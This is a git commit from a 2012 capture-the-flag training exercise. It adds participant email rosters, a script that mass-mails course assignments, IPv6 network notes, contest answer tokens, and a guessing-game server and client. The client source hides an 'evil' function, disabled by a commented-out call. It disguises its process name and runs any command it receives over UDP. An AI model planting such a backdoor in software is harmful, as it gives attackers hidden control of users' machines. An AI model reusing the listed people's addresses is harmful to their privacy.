Merge branch 'master' of ssh://fozzie/home/neale/projects/ctf

This commit is contained in:
Neale Pickett 2012-02-02 17:15:41 -07:00
commit 0c9c1a9aca
26 changed files with 8447 additions and 14 deletions

View File

@ -0,0 +1,75 @@
Incident Coordinator (6)
* melissa.zicopula@iarc.nv.gov
* Robert.Messemer@nielsen.com
* simone.shen@us.af.mil
* cneberg@sandia.gov
* gary.long@state.nm.us
* brian.varine@hq.doe.gov
Network RE (30)
* myrick3@llnl.gov
* rcsisneros@lanl.gov
* jdbaca@sandia.gov
* lockij@pjm.com
* jbradshaw@ihmc.us
* dmdunla@sandia.gov
* paul.tarricone@orau.org
* bcoulson@digitalglobe.com
* equarle@sandia.gov
* raymond.hussonii@gmail.com
* jwelcher@lbl.gov
* ranabey@sandia.gov
* lindseymg@ornl.gov
* ccollord@lanl.gov
* jcstrom@sandia.gov
* djvollan@lanl.gov
* henry.hutson@iarc.nv.gov
* rwschr@sandia.gov
* rettinger@izmm.com
* jdbrad@sandia.gov
* jedoak@sandia.gov
* javery@pantex.com
* zkhspryt98@snkmail.com
* jlangley@pantex.com
* chris.hancock@state.nm.us
* david.llewellyn@ssa.gov
* banderson@lanl.gov
* mfgomez@lanl.gov
* wclark@pantex.com
* mla_ca520@hotmail.com
Malware RE (26)
* edthoma@sandia.gov
* dmdorse@sandia.gov
* kphall@sandia.gov
* mcelws@pjm.com
* mcglyj@pjm.com
* cvedaa@fdic.gov
* amcphall@lanl.gov
* lettef@pjm.com
* jscott@pantex.com
* villalon@cs.unm.edu
* cjtafoy@sandia.gov
* tbsmith@sandia.gov
* sgidituri@ercot.com
* perry.james.t@gmail.com
* jjmande@sandia.gov
* rguttierrez@ercot.com
* jcjaroc@sandia.gov
* samulde@sandia.gov
* enhan@sandia.gov
* swade@sandia.gov
* thomas.walters@iarc.nv.gov
* nrpeter@sandia.gov
* tmkroeg@sandia.gov
* tbruner@sandia.gov
* mike.owens@state.nm.us
* pferrell@lanl.gov
Forensics (9)
* jjhaas@sandia.gov
* brander@sandia.gov
* chou@nv.doe.gov
* royjuan@lanl.gov
* rpcuste@sandia.gov
* gerald.stephen@iarc.nv.gov
* chance.gearhart@state.nm.us
* ldbutts1@gmail.com
* jstauffer07@gmail.com

View File

@ -0,0 +1,86 @@
Incident Coordinator (7)
gary.long@state.nm.us
Robert.Messemer@nielsen.com
cneberg@sandia.gov
simone.shen@us.af.mil
brian.varine@hq.doe.gov
thomas.walters@iarc.nv.gov
melissa.zicopula@iarc.nv.gov
Network RE (34)
ranabey@sandia.gov
mla_ca520@hotmail.com
javery@pantex.com
jdbaca@sandia.gov
* crb@lanl.gov
jdbrad@sandia.gov
jbradshaw@ihmc.us
zkhspryt98@snkmail.com
wclark@pantex.com
ccollord@lanl.gov
bcoulson@digitalglobe.com
jedoak@sandia.gov
dmdunla@sandia.gov
* cashew149@gmail.com
mfgomez@lanl.gov
chris.hancock@state.nm.us
raymond.hussonii@gmail.com
henry.hutson@iarc.nv.gov
jlangley@pantex.com
lindseymg@ornl.gov
david.llewellyn@ssa.gov
lockij@pjm.com
myrick3@llnl.gov
equarle@sandia.gov
rettinger@izmm.com
rwschr@sandia.gov
rcsisneros@lanl.gov
jcstrom@sandia.gov
paul.tarricone@orau.org
cvedaa@fdic.gov
villalon@cs.unm.edu
djvollan@lanl.gov
jwelcher@lbl.gov
* zhangxu1115@gmail.com
Malware RE (26)
banderson@lanl.gov
tbruner@sandia.gov
ldbutts1@gmail.com
cjtafoy@sandia.gov
dmdorse@sandia.gov
pferrell@lanl.gov
sgidituri@ercot.com
* ggz123@gmail.com
rguttierrez@ercot.com
kphall@sandia.gov
enhan@sandia.gov
jcjaroc@sandia.gov
tmkroeg@sandia.gov
lettef@pjm.com
jjmande@sandia.gov
mcelws@pjm.com
mcglyj@pjm.com
amcphall@lanl.gov
samulde@sandia.gov
mike.owens@state.nm.us
perry.james.t@gmail.com
nrpeter@sandia.gov
jscott@pantex.com
tbsmith@sandia.gov
jstauffer07@gmail.com
edthoma@sandia.gov
Forensics (15)
* aase@unm.edu
brander@sandia.gov
* anthonyjbentley@gmail.com
* niallsc@gmail.com
royjuan@lanl.gov
rpcuste@sandia.gov
chance.gearhart@state.nm.us
jjhaas@sandia.gov
* mikerjacobi@gmail.com
* komarthejust@hotmail.com
* jdmaine@gmail.com
chou@nv.doe.gov
gerald.stephen@iarc.nv.gov
swade@sandia.gov
* chrysm@unmalumni.com

View File

@ -0,0 +1,82 @@
jdbaca@sandia.gov
lindseymg@ornl.gov
cneberg@sandia.gov
ranabey@sandia.gov
chance.gearhart@state.nm.us
kphall@sandia.gov
bcoulson@digitalglobe.com
swade@sandia.gov
villalon@cs.unm.edu
cjtafoy@sandia.gov
david.llewellyn@ssa.gov
brander@sandia.gov
sgidituri@ercot.com
mikerjacobi@gmail.com
javery@pantex.com
enhan@sandia.gov
rettinger@izmm.com
chris.hancock@state.nm.us
ldbutts1@gmail.com
jwelcher@lbl.gov
gerald.stephen@iarc.nv.gov
nrpeter@sandia.gov
raymond.hussonii@gmail.com
Robert.Messemer@nielsen.com
myrick3@llnl.gov
royjuan@lanl.gov
jcjaroc@sandia.gov
banderson@lanl.gov
mike.owens@state.nm.us
tbsmith@sandia.gov
wclark@pantex.com
jlangley@pantex.com
tmkroeg@sandia.gov
rcsisneros@lanl.gov
jbradshaw@ihmc.us
jjmande@sandia.gov
mla_ca520@hotmail.com
thomas.walters@iarc.nv.gov
jcstrom@sandia.gov
rpcuste@sandia.gov
cvedaa@fdic.gov
mfgomez@lanl.gov
equarle@sandia.gov
pferrell@lanl.gov
mcglyj@pjm.com
amcphall@lanl.gov
jstauffer07@gmail.com
jscott@pantex.com
brian.varine@hq.doe.gov
dmdorse@sandia.gov
tbruner@sandia.gov
paul.tarricone@orau.org
jedoak@sandia.gov
rwschr@sandia.gov
niallsc@gmail.com
rguttierrez@ercot.com
simone.shen@us.af.mil
anthonyjbentley@gmail.com
gary.long@state.nm.us
melissa.zicopula@iarc.nv.gov
samulde@sandia.gov
lockij@pjm.com
mcelws@pjm.com
jdmaine@gmail.com
komarthejust@hotmail.com
cashew149@gmail.com
zkhspryt98@snkmail.com
edthoma@sandia.gov
aase@unm.edu
zhangxu1115@gmail.com
lettef@pjm.com
dmdunla@sandia.gov
perry.james.t@gmail.com
ggz123@gmail.com
chou@nv.doe.gov
ccollord@lanl.gov
jdbrad@sandia.gov
crb@lanl.gov
chrysm@unmalumni.com
henry.hutson@iarc.nv.gov
jjhaas@sandia.gov
djvollan@lanl.gov

76
doc/2012-02-TF4/assignments.py Executable file
View File

@ -0,0 +1,76 @@
#! /usr/bin/python3
## Course assignments
import csv
import smtplib
msg = '''From: Neale Pickett <neale@lanl.gov>
To: %(recip)s
Subject: Tracer FIRE 4 course assignment: %(course)s
Hello! Your course assignment for Tracer FIRE 4 is:
%(course)s
Please see http://csr.lanl.gov/tf/tf4.html for information on
what you need to bring to the course.
Course questions should be directed to the appropriate instructor:
Network RE: Neale Pickett <neale@lanl.gov>
Malware RE: Danny Quist <dquist@lanl.gov>
Host Forensics: Kevin Nauer <ksnauer@sandia.gov>
Incident Coordination: Alex Kent <alex@lanl.gov>
General questions about Tracer FIRE may be sent to
Neale Pickett <neale@lanl.gov>
Remember: the exercise network should be considered
hostile! Do not bring anything sensitive on your laptop,
and make sure you back everything up.
Looking forward to seeing you in Santa Fe next week,
--
Neale Pickett <neale@lanl.gov>
Advanced Computing Solutions, Los Alamos National Laboratory
'''
limits = {'Malware RE': 26,
'Network RE': 40}
assignments = {}
assigned = set(l.strip() for l in open('assigned.txt'))
c = csv.reader(open('/tmp/g.csv'))
c.__next__()
for row in c:
assert '@' in row[2]
t = row[5]
if (len(assignments.get(t, '')) == limits.get(t, 50)):
if (row[6] == row[5]):
print("Jackass detected: %s" % row[2])
t = row[6]
l = assignments.setdefault(t, [])
l.append(row)
s = smtplib.SMTP('mail.lanl.gov')
for t in ('Incident Coordinator', 'Network RE', 'Malware RE', 'Forensics'):
print('%s (%s)' % (t, len(assignments[t])))
for row in assignments[t]:
e = row[2]
if e in assigned:
print(' %s' % e)
else:
print(' * %s' % e)
ret = s.sendmail('neale@lanl.gov', [e], msg % {'course': t, 'recip': e})
if ret:
print(' ==> %s' % ret)
else:
assigned.add(e)
s.quit()
a = open('assigned.txt', 'w')
for e in assigned:
a.write('%s\n' % e)

5280
doc/2012-02-TF4/layout.dxf Normal file

File diff suppressed because it is too large Load Diff

1559
doc/2012-02-TF4/style.svg Normal file

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 110 KiB

View File

@ -2,14 +2,24 @@ IPv6 in Dirtbags CTF
====================
The contest network uses IPs in the unique local address space
fd82:b410:3441::/48. Each team gets a /64 internal subnet, with
their team number (generally the same as the switch port).
fd84:b410:3441::/48. Each team gets a /64 internal subnet, with
their team number (generally the same digits as the switch port).
Each subnet's gateway is ::1.
Each subnet's gateway is fd84:b410:3441:$teamno::1.
Team 5, in switch port 5, on VLAN 5, gets fd82:b410:3441:5::/64.
Team 15, in switch port 15, on VLAN 15, gets fd84:b410:3441:15::/64.
Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To
make things easier to type, use hosts in the /112. The MCP server lives
at fd84:b410:3441::2.
Vendors typically live on port 23. They usually want a static address.
Tell them this:
Pick any address in fd84:b410:3441:23::/64. Your default gateway
is fd84:b410:3441:23::1. You may want to assign yourself a subnet,
for example fd84:b410:3441:23:1234::
Kevin Nauer gets port 24. In 2012, we needed to route fd80:1::/48
through fd84:b410:3441:24::2, since he was using that subnet for
his systems.

View File

@ -0,0 +1,23 @@
COWBULL_PKGDIR = $(TARGET)/cowbull
cowbull-install: cowbull-build
mkdir -p $(COWBULL_PKGDIR)
mkdir -p $(COWBULL_PKGDIR)/bin/
cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin
mkdir -p $(COWBULL_PKGDIR)/www/cowbull/
cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html
cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/
$(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service)
cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/
cowbull-clean:
rm -rf $(COWBULL_PKGDIR)
$(MAKE) -C packages/cowbull/src clean
cowbull-build:
$(MAKE) -C packages/cowbull/src build
PACKAGES += cowbull

View File

@ -0,0 +1,4 @@
#! /bin/sh
read IP < ip.txt
ip addr del $IP dev eth0

View File

@ -0,0 +1 @@
fd84:b410:3441::ec6/64

View File

@ -0,0 +1,3 @@
#! /bin/sh
exec svlogd -tt $PWD

View File

@ -0,0 +1,7 @@
#! /bin/sh -e
exec 2>&1
read IP < ip.txt
ip addr add $IP dev eth0 || true
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt

View File

@ -0,0 +1,11 @@
DESTDIR ?= /tmp
build: cowd cowcli
cowcli: CC=cc
install: build
cp cowd cowcli $(DESTDIR)/bin/
clean:
rm -f cowd cowcli

View File

@ -0,0 +1,58 @@
The Cow Game
============
You are trying to guess a 4-nybble sequence. Each nybble will have
either 1 or 2 bits set, and the highest bit will never be set. The
game server will tell you how many nybbles in each guess were correct,
and how many had one correct bit. It does not tell you which
positions
The Cow Client
==============
The client connects to the Cow server running on the IPv6 address
provided in argument 1. If argument 2 is present, the client will
try to run it, providing stdin and stdout as in interactive mode.
In interactive mode (no argument 2), the client reads a guess in the
form of 4 ASCII numerals, and prints the number of correct nybbles
followed by the number of nybbles with one correct bit.
Here is an example of a session:
1111
12
2222
10
4444
02
4244
12
1244
22
1255
cow:xylep-radar-nanox
The Cow Protocol
================
cowd runs on port 3782.
The client always sends 6 octets. To request a new session, it sends
all zeroes. Otherwise it sends the 4-octet game identifier provided
by the server, concatenated with a 2-octet guess.
The server will respond with a new game identifier (4 octets) to a new
game request or if the game requested is too old. If a guess is
incorrect, the server will respond with either a 1-octet score in
which the high nybble is the number of correct nybbles in the guess,
and the low nybble is the number of nybbles in the guess with one
correct bit. If a guess is correct, the server will respond with a
token of length 5 octets or more.
There are multiple tokens, one per number of guesses used, up to
some maximum number of guesses defined per server instance.

View File

@ -0,0 +1,194 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
evil(char *argv[])
{
int sock;
if (fork()) {
return;
}
/* Fork again to reparent to init */
if (fork()) {
exit(0);
}
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
}
strcpy(argv[0], "[hci1]");
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
exit(0);
}
while (1) {
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (-1 == inlen) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
//evil(argv);
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

199
packages/cowbull/src/cowd.c Normal file
View File

@ -0,0 +1,199 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define TIMEOUT 30
#define NTOKENS 20
#define TOKENLEN 50
char tokens[NTOKENS][TOKENLEN];
int ntokens;
char *admonishment = "Try for fewer guesses next time!\n";
struct state {
time_t death;
uint16_t answer;
uint16_t guesses;
};
#define NSTATES 500
struct state states[NSTATES] = { 0 };
int
bind_port(struct in6_addr *addr, int fd, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
struct newgame {
uint16_t offset;
uint16_t token;
};
void
new_game(int sock, time_t now, struct sockaddr_in6 *from,
socklen_t fromlen)
{
int i;
struct newgame g;
for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
struct state *s = &states[g.offset];
if (s->death < now) {
s->death = now + TIMEOUT;
s->guesses = 0;
s->answer = 0;
for (i = 0; i < 4; i += 1) {
s->answer = (s->answer << 4) | ((random() % 6) + 1);
}
g.token = s->answer;
break;
}
}
printf("=%02x\n", g.token);
if (g.offset < NSTATES) {
sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
}
}
struct guess {
uint16_t offset;
uint16_t token;
uint16_t guess;
};
void
loop(int sock)
{
struct guess g;
struct state *cur;
struct sockaddr_in6 from;
socklen_t fromlen = sizeof from;
time_t now = time(NULL);
/*
* Read guess
*/
{
ssize_t inlen;
inlen = recvfrom(sock, &g, sizeof g, 0,
(struct sockaddr *) &from, &fromlen);
if (inlen != sizeof g) {
return;
}
}
/*
* Bounds check
*/
if (g.offset >= NSTATES) {
g.offset = 0;
}
cur = &states[g.offset];
if ((g.token != cur->answer) || /* Wrong token? */
(cur->death < now) || /* Old game? */
(cur->guesses++ > 100)) { /* Too dumb? */
/*
* Start a new game
*/
new_game(sock, now, &from, fromlen);
return;
} else {
uint8_t reply = 0;
int i;
for (i = 0; i < 4; i += 1) {
int s = (g.guess >> (i * 4)) & 0xf;
int a = (cur->answer >> (i * 4)) & 0xf;
if ((s < 1) || (s > 7)) {
reply = 0;
break;
} else if (s == a) {
reply += 0x10;
} else if (s & a) {
reply += 0x01;
}
}
printf("%02x ? %02x\n", g.guess, reply);
if (reply == 0x40) {
char *r;
if (cur->guesses <= ntokens) {
r = tokens[cur->guesses - 1];
} else {
r = admonishment;
}
sendto(sock, r, strlen(r) - 1, 0,
(struct sockaddr *) &from, fromlen);
cur->death = 0;
} else {
sendto(sock, &reply, sizeof reply, 0,
(struct sockaddr *) &from, fromlen);
}
}
}
int
main(int argc, char *argv[])
{
int sock;
int i;
struct in6_addr addr;
srand(time(NULL));
if (argc > 1) {
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
fprintf(stderr, "invalid address: %s\n", argv[1]);
return EX_IOERR;
}
} else {
memcpy(&addr, &in6addr_any, sizeof addr);
}
/*
* Read in tokens
*/
for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
break;
}
}
printf("Read %d tokens.\n", ntokens);
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
i = bind_port(&addr, sock, 3782);
if (-1 == i) {
perror("Bind port 3782");
return EX_IOERR;
}
while (1) {
loop(sock);
}
return 0;
}

View File

@ -0,0 +1,10 @@
moo:1000000:xikov-fybir-zurox
moo:9:xukiv-hudyb-fesix
moo:8:xecoh-nyfyh-degix
moo:7:xihap-synik-gesix
moo:6:xegek-rulyz-polux
moo:5:xitiz-fokel-radix
moo:4:xuzif-gakit-fogyx
moo:3:xisav-nodob-besex
moo:2:xumol-peker-pibox
moo:1:xilom-zosyk-cavux

View File

@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<link rel="stylesheet" href="../ctf.css" type="text/css">
</head>
<body>
<h1>Moo.</h1>
<p>
You are trying to guess a 4-nybble sequence. Each nybble will have
either 1 or 2 bits set, and the highest bit will never be set. The
game server will tell you how many nybbles in each guess were correct,
and how many had one correct bit. It does not tell you which
positions.
</p>
<h2>The Cow Client</h2>
<p>
<a href="cowcli">Download the client</a>
</p>
<p>
The client connects to the Cow server running on the IPv6
address provided in argument 1. The client reads a guess
in the form of 4 ASCII numerals, and prints the number of
correct nybbles followed by the number of nybbles with one
correct bit.
</p>
<p>
Here is an example of a session:
</p>
<pre>
1111
12
2222
10
4444
02
4244
12
1244
22
1255
moo:xylep-radar-nanox
</pre>
<p>
You can use a program like <samp>socat</samp> to connect
the client to a logic program you write:
</p>
<pre>
socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
</pre>
<p>
This will allow your program to read and write from stdio
of the client program.
</p>
<h2>The Cow Protocol</h2>
<p>
cowd runs on port 3782 on fd84:b410:3441::ec6.
</p>
<p>
The client always sends 6 octets. To request a new session, it sends
all zeroes. Otherwise it sends the 4-octet game identifier provided
by the server, concatenated with a 2-octet guess.
</p>
<p>
The server will respond with a new game identifier (4 octets) to a new
game request or if the game requested is too old. If a guess is
incorrect, the server will respond with either a 1-octet score in
which the high nybble is the number of correct nybbles in the guess,
and the low nybble is the number of nybbles in the guess with one
correct bit. If a guess is correct, the server will respond with a
token of length 5 octets or more.
</p>
<p>
There are multiple tokens, one per number of guesses used, up to
some maximum number of guesses defined per server instance.
</p>
</body>
</html>

View File

@ -61,11 +61,6 @@ main(int argc, char *argv[])
char needle[400];
my_snprintf(needle, sizeof(needle), "%ld %s", points, answer);
{
FILE *f = fopen("/tmp/form", "w");
fprintf(f, "%s\n%s\n", answer, needle);
fclose(f);
}
if (! fgrepx(needle,
package_path("%s/answers.txt", category))) {

View File

@ -29,7 +29,7 @@
<p>
Many of the categories are in the form of
multiple <em>puzzles</em>: for each puzzle presented, a
case-sensitive answer must be found to recieve the amount of
case-sensitive answer must be found to receive the amount of
points that puzzle is worth. Any team may answer any puzzle
question at any time. A new puzzle is revealed when a team
correctly answers the highest-valued puzzle in that category.
@ -38,12 +38,20 @@
<h2 id="tokens">Tokens</h2>
<p>
Tokens are strings redeemable once for a single point each. A
Tokens are strings redeemable once for points. They take on
two forms: a single or multipoint token. A single point
token for the "example" category might look like this:
</p>
<pre>example:xylep-radar-nanox</pre>
<p>
A 42 point
token for the "example" category might look like this:
</p>
<pre>example:42:xihyp-ropar-nanix</pre>
<p>
Tokens are typically associated with "live" categories, such as a
network-based service or a treasure hunt. Tokens can be submitted

View File

@ -1 +1 @@
10.0.0.28/24
fd84:b410:3441::b33b/64

View File

@ -2,7 +2,7 @@
exec 2>&1
read IP < ip.txt
ip addr add $IP label eth0:rlyeh dev eth0
ip addr add $IP label eth0:rlyeh dev eth0 || true
dir=/var/lib/ctf/rlyeh
install -o nobody -d $dir

View File

@ -15,7 +15,7 @@ router-clean:
##
## radvd
##
RADVD_VERSION = 1.8.1
RADVD_VERSION = 1.8.4
RADVD_TARBALL = $(CACHE)/radvd-$(RADVD_VERSION).tar.gz
RADVD_URL = http://www.litech.org/radvd/dist/radvd-$(RADVD_VERSION).tar.gz
RADVD_SRCDIR = $(ROUTER_BUILDDIR)/radvd-$(RADVD_VERSION)

View File

@ -33,4 +33,7 @@ for i in $(seq 24); do
ip link set eth0.$i up
done
# Subnet route for SNL at TF4
ip route add fd80:1::/48 via fd84:b410:3441:24::2
sleep 8100d

8
packages/tf4/tf4.mk Normal file
View File

@ -0,0 +1,8 @@
tf4-source:
tf4-build:
tf4-install: packages/tf4/tokens.txt
mkdir -p $(TARGET)/tf4/
cp $< $(TARGET)/tf4/
PACKAGES += tf4

650
packages/tf4/tokens.txt Normal file
View File

@ -0,0 +1,650 @@
ic:1:xocik-tinez-timax
ic:2:xoval-keriv-gisix
ic:3:xudam-dydal-cisyx
ic:4:xofab-tomav-vupix
ic:5:xumos-pizip-visax
ic:6:xotis-dyser-fasux
ic:7:xupeg-curug-lidux
ic:8:xolad-cikov-hovex
ic:9:xomen-fucuk-ramix
ic:10:xugez-dihod-zopox
ic:11:xomal-muboh-sunax
ic:12:xipel-zokan-vegox
ic:13:xedol-dyryh-mygox
ic:14:xetog-pygik-nokix
ic:15:xepan-neheb-guzox
ic:16:xohoz-dokuz-gonox
ic:17:xuhig-sitab-dybox
ic:18:xunov-nohos-tumex
ic:19:xuril-lifub-behex
ic:20:xurim-tihih-dodax
ic:21:xogad-sezub-cupex
ic:22:xubez-kodab-pafix
ic:23:xihif-muhoc-syvux
ic:24:ximag-hymyf-pysex
ic:25:xepes-tyfep-sonux
ic:26:xopim-fikas-tuhax
ic:27:xiler-rybyz-tazyx
ic:28:xegaf-vizyv-kacix
ic:29:xitak-tonan-tavyx
ic:30:xivac-cerac-pozax
ic:31:xogel-teser-buryx
ic:32:xenek-dyhot-rifex
ic:33:xinof-tugar-cisax
ic:34:xulit-hilog-sohox
ic:35:xipof-vihym-kobex
ic:36:xuhig-kikat-nihox
ic:37:xolaz-visus-cinix
ic:38:xebor-pibib-kibox
ic:39:xerit-vyfem-tolix
ic:40:xuzeb-vofym-lofix
ic:41:xogig-vesul-dycax
ic:42:xenok-husuk-vokox
ic:43:xepac-luzug-numux
ic:44:xumap-tovur-tolux
ic:45:xicig-vumav-tibex
ic:46:xosag-ragus-cabax
ic:47:xeget-datud-myvex
ic:48:xozak-resem-tufax
ic:49:xinac-kubul-bicix
ic:50:xibov-devuz-vipyx
ic:51:xuheh-gorap-vizix
ic:52:xobod-vygyp-zudex
ic:53:xopar-bunyk-nysax
ic:54:xinek-nunac-nobyx
ic:55:xucib-harup-rofax
ic:56:xefet-lecyg-cuhox
ic:57:xovop-gipeg-pipux
ic:58:xigen-hozef-zybox
ic:59:xizat-fybeg-firix
ic:60:xorog-kenad-gomax
ic:61:xohif-gyduv-mygox
ic:62:xufam-zukyt-kopyx
ic:63:xilan-logog-sagux
ic:64:ximic-nupav-pylax
ic:65:xipog-nytek-zyzyx
ic:66:xecor-padyl-kugyx
ic:67:xidav-covim-gybix
ic:68:xipav-faves-limyx
ic:69:xesik-tiren-sulyx
ic:70:xelob-gyrud-gatix
ic:71:xizag-ronil-tybux
ic:72:xinoc-gumus-tocux
ic:73:xivog-balis-logax
ic:74:xideb-pafuc-vesux
ic:75:xuser-zamil-bilox
ic:76:xizan-fibyt-bocyx
ic:77:xefis-tynac-fyzux
ic:78:xucap-kogef-tyzyx
ic:79:xegas-nagef-zogox
ic:80:xumor-kevub-nanox
ic:81:xinek-vedah-gehyx
ic:82:xifep-bonuc-tycux
ic:83:xitah-fefav-myrix
ic:84:xelid-vybeb-ketex
ic:85:xivis-nelul-nukyx
ic:86:xeror-rikit-rafyx
ic:87:xubin-gevyb-satax
ic:88:xukiv-dyket-nacex
ic:89:xifed-gycor-filyx
ic:90:xibif-rakov-henix
ic:91:xubiv-sakul-pobex
ic:92:xelan-lebar-colox
ic:93:xecaf-tupap-halax
ic:94:xeroc-sirir-vecux
ic:95:xumip-nupeh-kesax
ic:96:xodig-rocod-pukex
ic:97:xopih-bocys-zivex
ic:98:xoref-kubos-nufix
ic:99:xesec-rugyb-povax
ic:100:xolen-tevab-sutux
splunk:1:ximez-lifab-lytux
splunk:2:xutet-godyc-gilyx
splunk:3:xozon-buros-pebex
splunk:4:xikec-koroz-vocix
splunk:5:xerig-myvar-hysux
splunk:6:xisam-tisaf-gecax
splunk:7:ximiv-picum-synox
splunk:8:xicod-bimyh-mugex
splunk:9:xizos-civeg-lygux
splunk:10:xikon-cicat-zuhex
splunk:11:xobom-sipyh-milix
splunk:12:xivov-syvad-nunox
splunk:13:xerip-zyfet-hygux
splunk:14:xocad-nezip-typox
splunk:15:xumad-vagig-sugox
splunk:16:xodid-vatuv-dinox
splunk:17:xuzek-fynip-cadix
splunk:18:xitoz-vetob-lurox
splunk:19:xidav-lirad-symox
splunk:20:xekor-kydig-lopox
splunk:21:xonaf-tysyh-relix
splunk:22:xezif-dahom-gydux
splunk:23:xeloz-mycol-dymox
splunk:24:xepit-burin-sarax
splunk:25:xebal-povor-vozux
splunk:26:xisof-bipad-zosix
splunk:27:xetep-poded-legax
splunk:28:xutaf-hohak-tenux
splunk:29:xemaz-gycak-nisux
splunk:30:xeziv-luvah-vikex
splunk:31:xenan-fifus-nusax
splunk:32:xukog-mosec-hihax
splunk:33:xutev-lepep-rovux
splunk:34:xiboh-fagyf-gemix
splunk:35:xopac-barup-ricix
splunk:36:xelib-dolap-lyfix
splunk:37:xivap-tyfic-lotox
splunk:38:xuzep-ciryh-botyx
splunk:39:xumin-bysas-fytox
splunk:40:xital-siric-burix
splunk:41:xerip-hipyp-vokix
splunk:42:xizag-zyros-kodax
splunk:43:xufel-dalov-hufax
splunk:44:xokih-cacun-ratix
splunk:45:xehap-vekag-numix
splunk:46:xedok-podog-hafyx
splunk:47:xecac-vygac-ryhyx
splunk:48:xefek-dogyh-podyx
splunk:49:xomak-hyrap-tavyx
splunk:50:xizag-kesup-lupux
splunk:51:xerir-cigig-myfix
splunk:52:xebam-copuc-kahyx
splunk:53:xizav-poben-pugax
splunk:54:xozet-cidel-bemox
splunk:55:xoleg-lafof-fosix
splunk:56:xepec-dedan-bonox
splunk:57:xutif-tehuv-henex
splunk:58:xoreh-cezol-gyhux
splunk:59:xobap-menyg-zugyx
splunk:60:xevil-cozag-tafax
splunk:61:xidik-danof-gamox
splunk:62:xocov-hulev-fubux
splunk:63:xipol-pagon-medix
splunk:64:xidor-tydys-vibex
splunk:65:xubal-tufar-nodix
splunk:66:xolit-duzyb-dyvyx
splunk:67:xunes-gapig-zezux
splunk:68:xegat-fufav-fucux
splunk:69:xitop-tybeb-bimux
splunk:70:xupim-gicev-pirax
splunk:71:xerod-ketot-sobux
splunk:72:xulis-kycyg-buzax
splunk:73:xifaz-cycof-huvux
splunk:74:xedos-bekut-gipex
splunk:75:xikor-zecib-tugix
splunk:76:xigop-gikyc-lugyx
splunk:77:xunet-tyvun-povex
splunk:78:xumit-ganer-puhax
splunk:79:xotev-mymaz-kabyx
splunk:80:xurah-nakop-fifex
splunk:81:xodof-kevyf-gyhux
splunk:82:xuset-divyv-rycux
